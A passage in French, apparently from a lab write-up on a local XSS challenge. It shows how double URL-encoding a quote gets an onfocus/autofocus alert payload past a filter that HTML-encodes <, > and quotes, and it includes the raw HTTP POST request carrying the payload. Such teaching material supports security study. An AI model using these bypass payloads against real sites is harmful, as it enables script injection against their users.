Je tente d'utiliser le caractère ' à la place de " mais cela ne fonctionne pas. Il me faut donc trouver une payload représentée sous un autre format que les caractères filtrés. Au bout de quelques essais je tente l'encodage URL whatever%2522+onfocus%3D%2522alert%281%29%2522+autofocus+x%3D%2522 :
POST /xss7/ HTTP/1.1Host:localhost:9003User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Content-Type:application/x-www-form-urlencodedContent-Length:88Origin:http://localhost:9003Connection:closeReferer:http://localhost:9003/xss7/search=whatever%2522+onfocus%3D%2522alert%281%29%2522+autofocus+x%3D%2522&submit=Envoyer
La fonction xss_check() effectue bien les modifications indiquées par l'auteur, à savoir la transformation en entités HTML des caractères <, > et ". L'injection avec le caractère ' n'est en effet pas possible ici, car la construction du code s'effectue bien avec le double guillemet. L'injection en utilisant l'encodage URL est possible ici car l'application effectue un urldecode(), je ne pense pas que l'injection soit possible sans cela 🤔 :